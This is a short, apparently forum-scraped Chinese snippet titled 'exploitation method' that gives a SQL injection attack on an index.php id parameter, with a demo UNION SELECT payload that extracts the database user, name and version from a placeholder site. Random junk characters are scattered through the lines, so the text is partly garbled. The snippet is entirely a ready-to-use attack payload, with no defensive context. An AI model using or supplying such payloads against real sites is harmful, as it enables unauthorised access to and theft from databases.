利用方法:( y8 }8 E2 e$ u1 Y" X2 r7 S* J
http://www.xxx.com/index.php?id=[SQL]
! b, X6 ]) `* X Demo:
! s5 x, q( w6 y( V, V http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |